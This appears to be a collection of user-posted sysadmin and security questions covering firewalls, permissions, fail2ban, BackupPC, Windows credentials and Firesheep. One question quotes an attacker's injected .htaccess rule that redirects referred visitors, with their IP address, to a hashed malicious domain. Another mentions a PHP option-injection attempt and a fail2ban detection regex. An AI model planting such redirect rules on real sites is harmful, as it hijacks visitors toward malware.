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• How can I start any application with Guest permissions by default?

  - by Tom Wijsman

  Here are my two questions: How can I start any application with Guest permissions by default? How can I set certain applications not to launch with Guest permissions? For the first bullet, any non-Microsoft signed application I launch should run as the Guest account. For the second bullet, I'm imagining adding menu entries like this would be a nice approach: Set to run as Guest (= default selected entry) Set to run as User Set to run as Admin But how do I do this?

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• How can I restrict the backuppc client user as much as possible? (rsync)

  - by jxn

  I have backuppc making full backups of servers, but I'd like to be sure that my set up is as paranoid as possible. BackupPC is set up to backup via rsync, and it is set up to use a specific user on each client to be backed up. Because the backuppc client user has to have access to every file on the client machine and the ability to ssh into the machine without an interactive password, I'm a little nervous about securing the clients, and I'd like to know I haven't overlooked any options. Here's what I have in place: in the client user's authorized_keys file, i've included from="IPTOSERVER",command="/usr/bin/rsync" before the user's public key, so that the user can only login coming from the BackupPC server. Next, in the sudoers file, I've added this line: backuppc ALL=NOPASSWD: /usr/bin/rsync to allow root-level permissions only for the rsync command for that user. Are there other user, policy, or ssh restrictions that I can add while still allowing the backup pc client user to rsync all files?

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• What is the right iptables rule to allow apt-get to download programs?

  - by anthony01

  When I type something like sudo apt-get install firefox, everything work until it asks me: After this operation, 77 MB of additional disk space will be used. Do you want to continue [Y/n]? Y Then error messages are displayed: Failed to fetch: <URL> My iptables rules are as follows: -P INPUT DROP -P OUTPUT DROP -P FORWARD DROP -A INPUT -i lo -j ACCEPT -A OUTPUT -o lo -j ACCEPT -A INPUT -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT What should I add to allow apt-get to download updates? Thanks

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• Is it possible to detect that a database connection is to a copy rather than to the original database?

  - by user149238

  I have an application that needs to know if it is connected to the original database that it was installed with or if the connection is to a copy of that database. Is there any known method to know if the database has been cloned and the application is no longer connected to the original? I am specifically interested in MS SQL Server and Oracle. I was kicking ideas around for a stored procedure but that most likely doesn't have access to the hardware to confirm unique hardware information that would somewhat guarantee that the database is the one that it was originally connected to during installation. I'm trying to prevent/detect cloning of a database so that there is only 1 "true location of truth". Thanks!

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• Dealing with SMTP invalid command attack

  - by mark

  One of our semi-busy mail servers (sendmail) has had a lot of inbound connections over the past few days from hosts that are issuing garbage commands. In the past two days: incoming smtp connections with invalid commands from 39,000 unique IPs the IPs come from various ranges all over the world, not just a few networks that I can block the mail server serves users throughout north america, so I can't just block connections from unknown IPs sample bad commands: http://pastebin.com/4QUsaTXT I am not sure what someone is trying to accomplish with this attack, besides annoy me. any ideas what this is about, or how to effectively deal with it?

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• Unix Server Protection from Physical Access?

  - by Isabella Wilcox

  I'm working to license our software to some buyer. Our software will be ran from an unix server that is physically controlled by the buyer. Is there any way to prevent the buyer who have physical access to your server to access contents on the drive? We want to protect our intellectual property because if the buyer steals our software, we won't have enough legal resources to pursue a claim internationally.

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• configuring linux server firewall to allow acces on a certain range of IP addresses

  - by eggman20

  Hi Guys, I'm new to linux server. I'm currently trying to get an Ubuntu 10.10 server up and running for the first time and I'm using Webmin for administration. I'm stuck on the setting up the firewall. What I need to do is to ONLY allow a range of IPs (e.g 128.171.21.1 - 128.171.21.100) to access the HTTP server and Webmin. I've seen a lot of tutorials but none of them fits what I needed. Thanks in advance!

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• nginx with fail2ban and mod_security

  - by Mahesh

  I forgot to update my fail2ban config for nginx. I just moved to nginx from apache. Today, I got a lot of cals from a single IP. IP tried to access login pages with post and get methods IP tried to use nginx as a proxy (GET http:/...) IP searched images, js, css folders IP tried to inject -d url_allow_fopen =1 and something similar. Most of the calls ended with 404. http { limit_req_zone $binary_remote_addr zone=app:10m rate=5r/s; ... server { ... location / { limit_req zone=app burst=50; } I got approximately 50 requests from that ip for a second. So i updated my nginx like the above. Will it avoid too many connections per second now? I have updated my fail2ban jail.local to support nginx. I am confused with the nginx-noscript.conf [Definition] failregex = ^<HOST> -.*GET.*(\.php|\.asp|\.exe|\.pl|\.cgi|\scgi) ignoreregex = I am serving php with nginx. I checked apache's noscript.conf and which has .php extension on it too. I tested this above settings before restarting fail2ban and got thousands of ips matched. I removed php and nothing matched. Do i need .php| in nginx-noscript.conf? Using mod_security and fail2ban together bring any problem? When i was searching today, i came to know mod_security is available for nginx too. So i am planning to use it too.

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• My Window's 7 is exposing me and my files I am the only administrator.

  - by Connie

  I am the only administrator on my Window's 7 Asus x53E series laptop. Why is a standard user able to access my files by just searching my name in the start menu? If I log into guest account and search my name it shows an error that i don't have permission. When i log into my roommate's standard account and go to the start menu I put my name in search and everything I have done or searched is open to them . How can i make my administrator account private

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• protect my web server

  - by kareemsaad

  how can I know who enter web server and how can I protect my IP from others?

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• File permissions on web server

  - by plua

  I have just read this useful article on files permissions, and I am about to implement a as-strict-as-possible file permissions policy on our webserver. Our situation: we have a web server accessed through sftp by different users from within our company, and we have the general public accessing Apache - sometimes uploading files through PHP. I distinguish folders and files by their use. So based on this reading, here is my plan: All people who need to upload files will have separate users. But all of those users will belong to two groups: uploaders, and webserver. Apache will belong to the group webserver. Directories Permission: 771 Owner: user:uploaders Explanation: to access files in the folder, everybody needs to have execute permission. Only uploaders will be adding/removing files, so they also get r+w permission. Files within the web-root Permission: 664 Owner: user:uploaders Explanation: they will be uploaded and changed by different users, so both owner and group need to have w+r permissions. Webserver needs to only read files, so r permission only. Upload-directories Permission: 771 Owner: user:webserver Explanation: when files need to be uploaded, Apache needs to be able to write to this directory. But I figure it is safer to change the owner to webroot, thus giving Apache sufficient privileges (and all uploaders also belong to this group and will have the same permissions), while safeguarding from "others" writing to this folder. Uploaded files Permission: 664 Owner: user:webserver Explanation: after uploading Apache might need to delete files, but this is no problem because they have w+r permission of the folder. So no need to make this file any more accessible than r access for group. Being not an expert on file permissions, my question is whether or not this is the best possible policy for our situation? Any suggestions welcome.

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• Simple secured SFTP tunnel?

  - by babonk

  I'd like to setup an sftp tunnel so that I can connect to an IP-secured SFTP server through a gateway computer from anywhere, and download the files to anywhere. I was thinking of using a combination with netcat, having it listen to either WinSCP or PuTTY sFTP (doesn't matter which). Not sure how I would download the files to the connecting computer though. I would like the tunnel to be secured, preferably, with a username/password. I'm open to using alternative software but I'm looking for unintrusive, simple command line stuff because I don't want to install a lot on this computer. Thanks

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• New Secure Website with Apache Reverse Proxy

  - by jtnire

  I wish to set up a new website that will be accessed by users using HTTPS. I think it is good practise to put the "real" web server in a seperate subnet, and then install an Apache Reverse Proxy in a DMZ. My question is, where should I put the SSL cert(s)? Should I a) Use a self-signed cert on the "real" web server, and a proper cert on the reverse proxy? b) Use 2 real certs on both the "real" web server and the reverse proxy? c) Don't use any cert on the "real" web server, and use a proper cert on the reverse proxy? I'd like to use a) or c), if possible. I also don't want anyone's browser complaining of a self-signed cert. Thanks

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• File/folder Write/Delete wise, is my server secure?

  - by acidzombie24

  I wanted to know if someone got access to my server by using a nonroot account, how much damage can he do? After i su someuser I used this command to find all files and folders that are writeable. find / -writable >> list.txt Here is the result. Its most /dev/something and /proc/something and these /var/lock /var/run/mysqld/mysqld.sock /var/tmp /var/lib/php5 Is my system secure? /var/tmp makes sense but i am unsure why this user has write access to those folders. Should i change them? stat /var/lib/php5 gives me 1733 which is odd. Why write access? why no read? is this some kind of weird use of a temp file?

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• Safari Doesn't Warn of Application Download

  - by waiwai933

  I recently noticed that when downloading an application, Safari doesn't give the warning it used to. I have deleted the .plist file with no change. Using Mac OS X 10.5.8, Safari 4.0.4. Any ideas why and how to re-enable?

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• Is Exchange protected from/allow back dated emails?

  - by David

  Does Exchange Server adequately protect against backdating items in a mailbox folder? I want to determine from an auditing perspective what level of risk exists/what trust can be put into Exchange database records. Is there a (mis)feature that allows end point users to modify the sent/recieved date fields on their own messages? Is there a reasonable way short of hand editing the files for an Exchange Server admin to make such a change? And most importantly: Is there any kind of "sequence number" that we could use to audit Exchange records for evidence of date manipulation (ex. msg100 = Dec 15, msg101 = Dec 10, msg102 = Dec 16)

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• Is there some file browser that uses low level functions to browse hard disk?

  - by watbywbarif

  I have Windows 7, NTFS hard disk. I have detected rootkit files but can't delete them through Windows explorer, obviously because they are not visible. Is there some other file browser that is using low level function calls, lower that win api, so that I can try to see and study these files before removal. I know the exact locations. I know that I can load some live CD and delete them, but I wonder about the first possible solution.

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• What statistics app should I use for my website?

  - by Camran

  I have my own server (with root access). I need statistics of users who visit my website etc etc... I have looked at an app called Webalyzer... Is this a good choice? I run apache2 on a Ubuntu 9 system... If you know of any good statistics apps for servers please let me know. And a follow-up question: All statistics are saved in log-files right? So how large would these log-files become then? Possibility to split them would be good, dont know if this is possible with Webalyzer though...

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• Finding Webserver Vulnerability

  - by Brent

  We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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• How are cached Windows credentials stored on the local machine?

  - by MDMarra

  How are cached Active Directory domain credentials stored on a Windows client? Are they stored in the local SAM database, thus making them susceptible to the same rainbow table attacks that local user accounts are susceptible to, or are they stored differently? Note, that I do realize that they are salted and hashed, so as not to be stored in plain-text, but are they hashed in the same way as local accounts and are they stored in the same location? I realize that at a minimum they're be susceptible to a brute force attack, but that's a much better situation than being vulnerable to rainbow tables in the event of a stolen machine.

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• Pass parameters to a script securely

  - by codeholic

  What is the best way to pass parameters to a forked script securely? E. g. passing parameters through command line operands is not secure, since someone who has an account on the host can run ps and see them. Unnamed pipe is quite secure, as far as I understand, isn't it? I mean, passing parameters to STDIN of the forked process. What about passing parameters in environment vars? Is it secure? What about passing parameters by other means I didn't mention?

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• Mitigating the 'firesheep' attack at the network layer?

  - by pobk

  What are the sysadmin's thoughts on mitigating the 'firesheep' attack for servers they manage? Firesheep is a new firefox extension that allows anyone who installs it to sidejack session it can discover. It does it's discovery by sniffing packets on the network and looking for session cookies from known sites. It is relatively easy to write plugins for the extension to listen for cookies from additional sites. From a systems/network perspective, we've discussed the possibility of encrypting the whole site, but this introduces additional load on servers and screws with site-indexing, assets and general performance. One option we've investigated is to use our firewalls to do SSL Offload, but as I mentioned earlier, this would require all of the site to be encrypted. What's the general thoughts on protecting against this attack vector? I've asked a similar question on StackOverflow, however, it would be interesting to see what the systems engineers thought.

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• Returning "200 OK" in Apache on HTTP OPTIONS requests

  - by i..

  I'm attempting to implement cross-domain HTTP access control without touching any code. I've got my Apache(2) server returning the correct Access Control headers with this block: Header set Access-Control-Allow-Origin "*" Header set Access-Control-Allow-Methods "POST, GET, OPTIONS" I now need to prevent Apache from executing my code when the browser sends a HTTP OPTIONS request (it's stored in the REQUEST_METHOD environment variable), returning 200 OK. How can I configure Apache to respond "200 OK" when the request method is OPTIONS? I've tried this mod_rewrite block, but the Access Control headers are lost. RewriteEngine On RewriteCond %{REQUEST_METHOD} OPTIONS RewriteRule ^(.*)$ $1 [R=200,L]

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• This operation has been cancelled due to restrictions in effect on this computer

  - by Dan

  I have this HUGELY irritating problem on Windows 7 (x64). Whenever I click on ANY link (that exists on a Word document, Excel or Outlook), I get an alert box with the message: This operation has been canceled due to restrictions in effect on this computer I have been scouring my settings and the Internet for a solution, but to no avail. What is the reason for this problem? It even happens when I click anchors in word document. That is, I can't even click on an entry in a Table of Contents to go to the appropriate page - I get this same error then. Is this a Windows 7 thing? Is there any way to turn this off?

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• iptables: separate clients from each other

  - by Florian Lagg

  Hello, is there a way to separate clients in a subnet so that they cannot reach each other? The infrastructure currently looks like this: 192.168.0.1/24 Gateway, a CentOS box with iptables. 192.168.0.10-20 Some clients which may reach each other 192.168.0.30 A single client which should not be able to reach the hosts 192.168.0.10-20 should be able to reach the gateway and the internet I don't know if it is possible, maybe you could give me your ideas how it could be done. I cannot influence the machine 192.168.0.30 because it is a virtual machine I want to rent to someone. Thanks.

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